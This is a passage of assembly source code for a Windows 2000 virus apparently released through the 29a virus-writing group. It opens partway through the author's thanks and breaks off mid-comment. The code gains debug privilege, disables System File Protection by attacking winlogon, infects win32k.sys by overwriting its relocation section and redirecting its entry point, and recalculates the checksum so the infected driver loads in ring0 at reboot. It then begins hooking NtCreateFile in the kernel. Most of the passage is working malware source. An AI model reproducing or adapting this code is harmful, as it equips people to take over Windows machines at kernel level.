best friends :) +;-Nmt,ur articles have helped me lot of :) +;-GriYo who always helped me too a lot of :) when i have needed. +;-Ratter&Benny: i dont know u but i must say ur articles and virus codes have helped me +;lot of very much.(When i added this line in parenthesys i already knew ratter and i must +;say thx again for ur help ;) +;-Z0mbie: ur engine is a boom!! :D +;-Well,"THX TO" part is the more difficult part to code coz always u will forget to thx +;somebody so i must say thx all people that i forget to put here :) +;-And OfCorz a infinitely BIG THX TO 'Lady Marian' :********************* U r resident +;in my memory all time :D + + + +.586p +.model flat,stdcall + +extrn ExitProcess:proc +extrn GetLastError:proc +extrn GetModuleHandleA:proc + + +;29a files +include mz.inc +include pe.inc +include win32api.inc +include useful.inc + + +;macros + +;;;;;;;;;;;;;;;;;;;;;;; +callz macro dir_call +db 0E8h +dd (dir_call - $ - 4) +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +jmpz macro dir_call +db 0E9h +dd (dir_call - $ -4) +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +CalcLenString macro +local loopin +push esi +dec esi +loopin: +inc esi +cmp byte ptr[esi],0 +jne loopin +mov ecx,esi +pop esi +sub ecx,esi +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +GezApi macro BaseKernel,ApiCRC,ApiNameLen +mov eax,BaseKernel +mov edx,ApiCRC +mov ebx,ApiNameLen +callz GetApi +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen +GezApi BaseNtdll,ApiCRC,ApiNameLen +mov eax,[eax + 1] +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +syscallz macro fc,paramz ;from Ratter's win2k.Joss +mov eax,fc +lea edx,[esp] +int 2eh +add esp,(paramz*4) +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size +push 0 +mov [esp],esp ;for storing number of writted bytes +push Size +push Buffer +push OffsetInProc +push hProcess +GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen +call eax +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size +push 0 +mov [esp],esp ;for storing number of read bytes +push Size +push Buffer +push OffsetInProc +push hProcess +GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen +call eax +endm +;;;;;;;;;;;;;;;;;;;;;;; + + +;APIS'S NAMES CRCS AND LENGHTS + +LoadLibraryACRC equ 3fc1bd8dh +LLNameLen equ 12 +CloseHandleCRC equ 0b09315f4h +CHNameLen equ 11 +FindFirstFileACRC equ 0c9ebd5ceh +FFFNameLen equ 14 +FindNextFileACRC equ 75272948h +FNFNameLen equ 13 +FindCloseCRC equ 0d82bf69ah +FCNameLen equ 9 +GetTickCountCRC equ 5b4219f8h +GTCNameLen equ 12 +WriteMemoryProcessCRC equ 4f58972eh +WMPNameLen equ 18 +ReadMemoryProcessCRC equ 0f7c7ae42h +RMPNameLen equ 17 +ResumeThreadCRC equ 3872beb9h +RTNameLen equ 12 +ExitProcessCRC equ 251097CCh +EPNameLen equ 11 +SetFileAttributesACRC equ 156b9702h +SFANameLen equ 18 +CreateFileACRC equ 553b5c78h +CFNameLen equ 11 +CreateFileMappingACRC equ 0b41b926ch +CFMNameLen equ 18 +MapViewOfFileCRC equ 0A89b382fh +MVFNameLen equ 13 +UnmapViewOfFileCRC equ 391ab6afh +UVFNameLen equ 15 +SetFileTimeCRC equ 21804a03h +SFTNameLen equ 11 +GetModuleHandleACRC equ 0B1866570h +GMHNameLen equ 16 +GetLastErrorCRC equ 0d2e536b7h +GLENameLen equ 12 +RegisterServiceProcessCRC equ 3b5ef61fh +RSPNameLen equ 22 +SetCurrentDirectoryACRC equ 69b6849fh +SCDNameLen equ 20 +GetCurrentDirectoryACRC equ 0c79dc4e3h +GCDNameLen equ 20 +GetWindowsDirectoryACRC equ 0fff372beh +GWDNameLen equ 20 +GetModuleFileNameACRC equ 08bff7a0h +GMFNNameLen equ 18 +CreateProcessACRC equ 0a851d916h +CPNameLen equ 14 +Module32FirstCRC equ 38891c00h +M32FNameLen equ 13 +Module32NextCRC equ 0f6911852h +M32NNameLen equ 12 +CreateToolhelp32SnapShotCRC equ 0c1f3b876h +CT32SNameLen equ 24 +VirtualProtectExCRC equ 5d180413h +VPNameLen equ 16 +GetCurrentProcessCRC equ 0d0861aa4h +GCPNameLen equ 17 +OpenProcessTokenCRC equ 0f9c60615h +OPTNameLen equ 16 +LookupPrivilegeValueACRC equ 0da87bf62h +LPVNameLen equ 21 +AdjustTokenPrivilegesCRC equ 0de3e5cfh +ATPNameLen equ 21 +EnumProcessesCRC equ 0509a21ch +EPSNameLen equ 13 +EnumProcessModulesCRC equ 0dea82ac2h +EPMNameLen equ 18 +GetModuleInformationCRC equ 0f2a84636h +GMINameLen equ 20 +SuspendThreadCRC equ 0bd76ac31h +STNameLen equ 13 +FreeLibraryCRC equ 0da68238fh +FLNameLen equ 11 +GetVersionCRC equ 4ccf1a0fh +GVNameLen equ 10 +RasDialACRC equ 0b88da156h +RDNameLen equ 8 +GetModuleBaseNameACRC equ 1720513eh +GMBNNameLen equ 18 +OpenProcessCRC equ 0df27514bh +OPNameLen equ 11 +ZwConnectPortCRC equ 0cbaec255h +ZCPNameLen equ 13 +NtConnectPortCRC equ 0c88edce9h +NCPNameLen equ 13 +ZwRequestPortCRC equ 0e28aebd1h +ZRPNameLen equ 13 +DbgUiConnectToDbgCRC equ 09a51ac3ah +DUCTDNameLen equ 17 +DbgSsInitializeCRC equ 0d198b351h +DSINameLen equ 15 +DbgSsHandleKmApiMsgCRC equ 2e9c4e99h +DSHKAMNameLen equ 19 +GetCurrentProcessIdCRC equ 1db413e3h +GCPINameLen equ 19 +GetCurrentThreadIdCRC equ 8df87e63h +GCTINameLen equ 18 +WaitForDebugEventCRC equ 96ab83a1h +WFDENameLen equ 17 +ContinueDebugEventCRC equ 0d8e77e49h +CDENameLen equ 18 +VirtualAllocExCRC equ 0e62e824dh +VANameLen equ 14 +CreateRemoteThreadCRC equ 0ff808c10h +CRTNameLen equ 18 +NtTerminateProcessCRC equ 94fcb0c0h +NTPNameLen equ 18 +ExitThreadCRC equ 80af62e1h +ETNameLen equ 10 +GetCurrentDirectoryWCRC equ 334971b2h +GCDWNameLen equ 20 +FindFirstFileWCRC equ 3d3f609fh +FFFWNameLen equ 14 +SleepCRC equ 0cef2eda8h +SNameLen equ 5 +MoveFileACRC equ 0de9ff0d1h +MFNameLen equ 9 +MapFileAndCheckSumACRC equ 462eeff7h +MFACSNameLen equ 19 +CheckSumMappedFileCRC equ 0bbb4966eh +CSMFNameLen equ 18 +CopyFileACRC equ 0199dc99h +CpFNameLen equ 9 +KeServiceDescriptorTableCRC equ 32a4d557h +KSDTNameLen equ 24 +NtCreateFileCRC equ 3ee6cc56h +NCFNameLen equ 12 +ZwOpenFileCRC equ 0b679c176h +ZOFNameLen equ 10 +ZwOpenSectionCRC equ 73bdfd70h +ZOSNameLen equ 13 +ZwMapViewOfSectionCRC equ 0d287ee26h +ZMVOSNameLen equ 18 +ZwCloseCRC equ 180c0d23h +ZCNameLen equ 7 +ZwCreateSectionCRC equ 2c919477h +ZCSNameLen equ 15 +ZwUnmapViewOfSectionCRC equ 9d35f923h +ZUVOSNameLen equ 20 +NtOpenFileCRC equ 0a1b1dc21h +NOFNameLen equ 10 +ZwDeleteFileCRC equ 6967772dh +ZDFNameLen equ 12 +DeleteFileACRC equ 919b6bcbh +DFNameLen equ 11 +ZwCreateFileCRC equ 0a81a7cd4h +ZCFNameLen equ 12 +PsCreateSystemThreadCRC equ 32adfc3ah +PCSTNameLen equ 20 +KeQueryTickCountCRC equ 52d6480eh +KQTCNameLen equ 16 + + +Kernel32CRC equ 204c64e5h ;CRC of 'kernel32' string + + +TOKEN_PRIVILEGES struc +TP_count dd ? +TP_luid dq ? +TP_attribz dd ? +TOKEN_PRIVILEGES ends + + +unicode_string struc + us_Length dw ? + us_MaximumLength dw ? + us_Buffer dd ? +unicode_string ends + + +objects_attributes struc + oa_length dd ? ;lenght of this structure + oa_rootdir dd ? + oa_objectname dd ? ;name of the object + oa_attribz dd ? ;attributes of the object + oa_secdesc dd ? + oa_secqos dd ? +objects_attributes ends + + +pio_status struc + ps_ntstatus dd ? + ps_info dd ? +pio_status ends + + +TOKEN_ASSIGN_PRIMARY equ 00000001h +TOKEN_DUPLICATE equ 00000002h +TOKEN_IMPERSONATE equ 00000004h +TOKEN_QUERY equ 00000008h +TOKEN_QUERY_SOURCE equ 00000010h +TOKEN_ADJUST_PRIVILEGES equ 00000020h +TOKEN_ADJUST_GROUPS equ 00000040h +TOKEN_ADJUST_DEFAULT equ 00000080h +TOKEN_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED or \ + TOKEN_ASSIGN_PRIMARY or \ + TOKEN_DUPLICATE or \ + TOKEN_IMPERSONATE or \ + TOKEN_QUERY or \ + TOKEN_QUERY_SOURCE or \ + TOKEN_ADJUST_PRIVILEGES or \ + TOKEN_ADJUST_GROUPS or \ + TOKEN_ADJUST_DEFAULT +SE_PRIVILEGE_ENABLED equ 00000002h +CHECKSUM_SUCCESS equ 00000000h +CHECKSUM_OPEN_FAILURE equ 00000001h +CHECKSUM_MAP_FAILURE equ 00000002h +CHECKSUM_MAPVIEW_FAILURE equ 00000003h +CHECKSUM_UNICODE_FAILURE equ 00000004h +OBJ_CASE_INSENSITIVE equ 00000040h +FILE_DIRECTORY_FILE equ 00000001h +FILE_WRITE_THROUGH equ 00000002h +FILE_SEQUENTIAL_ONLY equ 00000004h +FILE_NO_INTERMEDIATE_BUFFERING equ 00000008h +FILE_SYNCHRONOUS_IO_ALERT equ 00000010h +FILE_SYNCHRONOUS_IO_NONALERT equ 00000020h +FILE_NON_DIRECTORY_FILE equ 00000040h +FILE_CREATE_TREE_CONNECTION equ 00000080h +FILE_COMPLETE_IF_OPLOCKED equ 00000100h +FILE_NO_EA_KNOWLEDGE equ 00000200h +FILE_OPEN_FOR_RECOVERY equ 00000400h +FILE_RANDOM_ACCESS equ 00000800h +FILE_DELETE_ON_CLOSE equ 00001000h +FILE_OPEN_BY_FILE_ID equ 00002000h +FILE_OPEN_FOR_BACKUP_INTENT equ 00004000h +FILE_NO_COMPRESSION equ 00008000h +FILE_RESERVE_OPFILTER equ 00100000h +FILE_OPEN_REPARSE_POINT equ 00200000h +FILE_OPEN_NO_RECALL equ 00400000h +FILE_OPEN_FOR_FREE_SPACE_QUERY equ 00800000h +FILE_COPY_STRUCTURED_STORAGE equ 00000041h +FILE_STRUCTURED_STORAGE equ 00000441h +FILE_VALID_OPTION_FLAGS equ 00ffffffh +FILE_VALID_PIPE_OPTION_FLAGS equ 00000032h +FILE_VALID_MAILSLOT_OPTION_FLAGS equ 00000032h +FILE_VALID_SET_FLAGS equ 00000036h +FILE_SHARE_READ equ 00000001h +FILE_SHARE_WRITE equ 00000002h +FILE_READ_DATA equ 00000001h +FILE_WRITE_DATA equ 00000002h +FILE_APPEND_DATA equ 00000004h +FILE_OPEN_IF equ 00000003h +FILE_OPEN equ 00000001h +FILE_NON_DIRECTORY_FILE equ 00000040h +STATUS_SUCCESS equ 00000000h +SEC_COMMIT equ 08000000h +SECTION_QUERY equ 00000001h +SECTION_MAP_WRITE equ 00000002h +SECTION_MAP_READ equ 00000004h +SECTION_MAP_EXECUTE equ 00000008h +SECTION_EXTEND_SIZE equ 00000010h +STANDART_RIGTHS_REQUIRED equ 000F0000h +SYNCHRONIZE equ 00100000h +THREAD_ALL_ACCESS equ (STANDARD_RIGHTS_REQUIRED + SYNCHRONIZE + 3FFh) + +STARTUPINFOSIZE equ 68 +PROCESSINFORMATIONSIZE equ 16 +cPushfd equ 4 +tamvirus = evirus - svirus + + +.data; +;;;;;; + +az db 'KeQueryTickCount',0 +azz db 'WriteProfileStringA',0 +vallez db 'vallez for 29a',0 + +.code; +;;;;;; + +start: +;;;;;; + +;first generation codevvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +xor ebp,ebp + +lea esi,az +CalcLenString +mov edi,ecx +call CRC32 +lea esi,azz +CalcLenString +mov edi,ecx +call CRC32 + +;unprotection of code for first gen +@pushsz "kernel32.dll" +call GetModuleHandleA +push eax +mov esi,offset svirus +mov ecx,evirus - svirus +xor ebx,ebx +callz UnprotectMem +;This small code will move all code 1 byte up for simulate second gen... +lea edi,[evirus] +mov esi,edi +dec esi +mov ecx,evirus-svirus +std +rep movsb +cld +mov byte ptr[svirus],90h +pop eax +mov [ebp + NtKernel],eax + +jmp svirus + + +;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;; + + +;first generation code^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + + +;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + + +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +svirus: + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;Entry Point Of Virus when is executed In ring3. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +EPointFile: + +pushad +pushfd + + +int 3 + +;;;;;;;;;;;;;;;;;;;;;;;; +call d_offset ;I calculate delta offset +d_offset: +pop ebp +sub ebp,offset d_offset +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,dword ptr fs:[30h] ;we ll get kernel address +mov eax,dword ptr [eax+0ch] +mov esi,dword ptr [eax+1ch] +lodsd +mov eax,dword ptr [eax+08h] +;eax->addr in kernel +xor ax,ax ;Ill get kernel address +add eax,1000h +;eax -> a part of kernel32 +SearchKernel: +sub eax,1000h +cmp word ptr [eax],'ZM' +jne SearchKernel +;eax -> base of kernel32 +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +push eax ;i have unprotected the memory of code of virus +lea esi,[ebp + svirus] +mov ecx,tamvirus +xor ebx,ebx +callz UnprotectMem +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +pop eax ;I get other used librarys +mov [ebp + NtKernel],eax +callz GetLibrarys +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] ;Ill keep the current directory +GezApi eax,GetCurrentDirectoryACRC,GCDNameLen +lea ebx,[ebp + CurDir] +push ebx +push 256 +call eax;we keep current dir for restoring +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ecx,cs ;The virus will work in win2k only +xor cl,cl +or ecx,ecx +jne Exit +mov eax,[ebp + NtKernel] ;Im in NT but i want win2k... +GezApi eax,GetVersionCRC,GVNameLen +call eax +test eax,80000000h +jnz Exit +cmp al,5 ;i test for win2k(i think XP is 5 too but it will not work +jne Exit ;for win XP) +;Im not sure if this will work in NT previous machines perhaps but ill code for win2k. +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] ;we go to system32 directory first +GezApi eax,GetWindowsDirectoryACRC,GWDNameLen +push 256 +lea ebx,[ebp + Buffer] +push ebx +call eax +lea esi,[ebp + Buffer] +CalcLenString +mov edi,esi +add edi,ecx +mov al,'\' +stosb +mov eax,'tsys' +stosd +mov eax,'23me' +stosd +xor al,al +mov [edi],al +mov eax,[ebp + NtKernel] +GezApi eax,SetCurrentDirectoryACRC,SCDNameLen +lea esi,[ebp + Buffer] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;I want to enable Debug privilege for token of this user. touch_privilege was coded by Ratter +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtAdvapi] ;enabling debug privilege for this user +GezApi eax,AdjustTokenPrivilegesCRC,ATPNameLen +mov [ebp + tAdjustTokenPrivileges],eax +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +mov [ebp + tCloseHandle],eax +mov eax,[ebp + NtAdvapi] +GezApi eax,LookupPrivilegeValueACRC,LPVNameLen +mov [ebp + tLookupPrivilegeValueA],eax +mov eax,[ebp + NtAdvapi] +GezApi eax,OpenProcessTokenCRC,OPTNameLen +mov [ebp + tOpenProcessToken],eax +mov eax,[ebp + NtKernel] +GezApi eax,GetCurrentProcessCRC,GCPNameLen +mov [ebp + tGetCurrentProcess],eax +push SE_PRIVILEGE_ENABLED +pop eax +@pushsz "SeDebugPrivilege" +pop esi +call touch_privilege +;;;;;;;;;;;;;;;;;;;;;;;; + +;Now ill disable sfp with Benny&Ratter method +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +callz GetWinlogon ;I have debug priv so ill disable sfc with benny&ratter method +or eax,eax +jnz Exit +callz AttackWinlogon +or eax,eax +jnz Exit +;;;;;;;;;;;;;;;;;;;;;;;; + + +;Now infection of win32k.sys +;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;U will see in this part lot of move and copy files but i do it for ensuring the +;perfect working of the virus...I had some problems with sfc disabling due this code +;was executed before sfc disabling code so finally win32k.sys was not infected the first +;time that virus was executed in that system uninfected still...but i have correct that +;problem doing some movings and copyings of files...that file here,that file there and +;virus works perfectly now ;P + + + +;;;;;;;;;;;;;;;;;;;;;;;; +lea eax,[ebp + _WIN32_FIND_DATA] ;Search win32k.sy +push eax +lea eax,[ebp + win32ksy] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,FindFirstFileACRC,FFFNameLen +call eax +cmp eax,0FFFFFFFFh +je NoWin32sySoContinue +push eax +mov eax,[ebp + NtKernel] +GezApi eax,FindCloseCRC,FCNameLen +call eax +lea esi,[ebp + win32ksys] +push esi +mov eax,[ebp + NtKernel] ;deleting win32k.sys if it would exist +GezApi eax,DeleteFileACRC,DFNameLen +call eax +mov eax,[ebp + NtKernel] ;renaming win32k.sy to win32k.sys +GezApi eax,MoveFileACRC,MFNameLen +lea esi,[ebp + win32ksys] +push esi +lea esi,[ebp + win32ksy] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +NoWin32sySoContinue: +mov eax,[ebp + NtKernel] ;we copy win32k.sys to win32k.fuck +GezApi eax,CopyFileACRC,CpFNameLen +push 0 +lea esi,[ebp + win32kfuck] +push esi +lea esi,[ebp + win32ksys] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;Why of this?: +;The original win32k.sys is been used by the system so we can modify it...however we can +;change its name. We copy it to win32k.fuck and infect the .fuck file... +;later we renaming win32k.sys to win32k.sy and win32k.fuck to win32k.sys +;and this new win32k.sys will be loaded in ring0 the next time that system reboot. +;i copy .sys to .fuck for no infecting directly over win32k.sys +;coz i had problems...i tried to infect directly over win32k.sys but sometimes(lot of times) +;when i called functions as CreateFile or others, i got this error from GetLastError: +;32(20h)(The process cannot access the file because it is being used by another process) +;I supposed that win32k.sys is a file used lot of times and if i infected directly over +;win32k.sys i would get this error lot of times....so finally i decided to do a copy +;named win32k.fuck for later renaming this file to win32k.sys when already infected. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;Now ill infect win32k.fuck +;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +lea eax,[ebp + _WIN32_FIND_DATA] ;Mapping win32k.fuck +push eax +lea eax,[ebp + win32kfuck] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,FindFirstFileACRC,FFFNameLen +call eax +mov [ebp + SearchHand],eax +cmp eax,0FFFFFFFFh +je Exit +callz MapFile +or eax,eax +jz Exit +;;;;;;;;;;;;;;;;;;;;;;;; + + +;INFECTION OF WIN32K.FUCK +;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + ViewHandle] ;a simple infection overwriting reloc section +mov edx,eax +mov ebx,[eax + 3ch] +add eax,ebx +;eax -> PE +mov bx,word ptr [eax + 8] +cmp bx,'zs' +je StopInfection ;becoz already Infected +mov word ptr [eax + 8],'zs' ;a small mark ;) +mov ebx,[eax + 28h] ;EPoint of win32k.sys +mov [ebp + EntryPointWin32ksys],ebx +xor ecx,ecx +mov cx,word ptr [eax + 6] +dec ecx +mov ebx,eax +add ebx,0F8h ;sections +GoToLastSection: +add ebx,28h +loop GoToLastSection +;ebx -> .reloc ;over-reloc infection of win32k.sys +cmp [ebx],'ler.' +jne StopInfection +mov dword ptr [ebx + 24h],040000040h ;reloc not discardable,readable,writable +mov ecx,[ebx + 10h] +cmp ecx,tamvirus +jb StopInfection + +;i change entry point of win32k.sys + +mov edi,[ebx + 0ch] +add edi,EPointSystem - svirus +mov [eax + 28h],edi ;RVA new entry point for win32k.sys + +;ill copy the code overwriting .reloc + +mov edi,[ebx + 14h] +add edi,edx +lea esi,[ebp + svirus] +mov ecx,tamvirus +rep movsb +;;;;;;;;;;;;;;;;;;;;;;;; + +;IMPORTANT: I MUST CORRECT WIN32K.FUCK HEADER CKSUM AFTER INFECTION OR SYSTEM WILL NOT START +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +;In the previous version of the virus the cksum of win32k.sys was calculated with +;MapFileAndCheckSumA api. In this version we will calculate it on the fly. + +mov esi,[ebp + ViewHandle] ;esi->start of buffer +lea ecx,[ebp + _WIN32_FIND_DATA] +mov ecx,[ecx.WFD_nFileSizeLow] +shr ecx,1 ;ecx=len of total buf in words for calculating the cksum +mov ebx,[esi + 3ch] +add ebx,esi +lea edx,[ebx.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_CheckSum] ;edx=addr of dword for skipping +xor edi,edi ;in edi will be the resulting cksum + +CalcCksum: +cmp esi,edx +jne ContinueCksum +add esi,4 +sub ecx,2 +jmp CalcCksum +ContinueCksum: +push eax +movzx eax,word ptr [esi] +add edi,eax +pop eax +add esi,2 +test edi,0FFFF0000h +jz ContinueCksum2 +inc edi +and edi,0000FFFFh +ContinueCksum2: +loop CalcCksum +lea ecx,[ebp + _WIN32_FIND_DATA] +mov ecx,[ecx.WFD_nFileSizeLow] +add edi,ecx +mov [ebx.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_CheckSum],edi ;calculated cksum +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,'szsz' +StopInfection: ;Unmmaping win32k.fuck +push eax +callz CloseAll +pop eax +cmp eax,'szsz' +jne SysAlreadyInfected +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +push dword ptr [ebp + SearchHand] ;Closing the search hand +mov eax,[ebp + NtKernel] +GezApi eax,FindCloseCRC,FCNameLen +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] ;renaming win32k.sys to win32k.sy +GezApi eax,MoveFileACRC,MFNameLen +lea esi,[ebp + win32ksy] +push esi +lea esi,[ebp + win32ksys] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] ;renaming win32k.fuck to win32k.sys +GezApi eax,MoveFileACRC,MFNameLen +lea esi,[ebp + win32ksys] +push esi +lea esi,[ebp + win32kfuck] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;Exit +;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +Exit: +mov eax,[ebp + NtKernel] ;Exit from virus code... +GezApi eax,SetCurrentDirectoryACRC,SCDNameLen +lea esi,[ebp + CurDir] +push esi +call eax ;we restore current directory. +callz FreeLibrarys ;free librarys loaded. +or ebp,ebp ;first generation exit, ExitProcess. +jnz gen2Exit +push 0 +call ExitProcess +gen2Exit: +mov eax,[ebp + EntryPoint] +mov dword ptr [ebp + dirHook],eax +popfd +popad +push 12345678h +dirHook equ $-4 +ret +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +SysAlreadyInfected: +lea esi,[ebp + win32kfuck] +push esi +mov eax,[ebp + NtKernel] ;deleting win32k.fuck if it would exist +GezApi eax,DeleteFileACRC,DFNameLen +call eax +jmpz Exit +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;Entry Point Of Virus when is executed in ring0. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +EPointSystem: ;Ring0 Code +;;;;;;;;;;;;; + +push 00000000h ;This space in stack will be filled with the entry point + ;address of win32k.sys +pushfd +pushad + +;;;;;;;;;;;;;;;;;;;;;;;; +callz R0_Doff ;i calculate delta offset. +R0_Doff: +pop ebp +sub ebp,offset R0_Doff +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +lea eax,[ebp + EPointSystem] ;our target is to search image base of win32k.sys in memory. +xor ax,ax ;hardcoded would be 0A0000000h in my system. +add eax,1000h +SearchBaseImage: +sub eax,1000h +cmp word ptr [eax],'ZM' +jne SearchBaseImage +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,[ebp + EntryPointWin32ksys] ;We have the old entry point and the image base +add ebx,eax ;so we have the entry point address. We put +mov [esp + cPushad + cPushfd],ebx ;that entry point after pushad and pushfd bytes +;;;;;;;;;;;;;;;;;;;;;;;; ;in stack for using ret instruction later and + ;for jumping entry point of win32k.sys + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[esp + cPushad + cPushfd + 4] ;address in stack of a zone of ntoskrnl(in function +xor ax,ax ;ExCreateCallback).With this address we will get +add eax,1000h ;ntoskrnl base addr +;eax -> a part of ntoskrnl +SearchNtoskrnl: +sub eax,1000h +cmp word ptr [eax],'ZM' +jne SearchNtoskrnl +;eax -> base of ntoskrnl +mov [ebp + Ntoskrnl],eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +;now we will get somethings that will be useful for hooking NtCreateFile...SSDT address, +;syscall number of NtCreateFile, .... +;There is a undocumented entry in the export table of 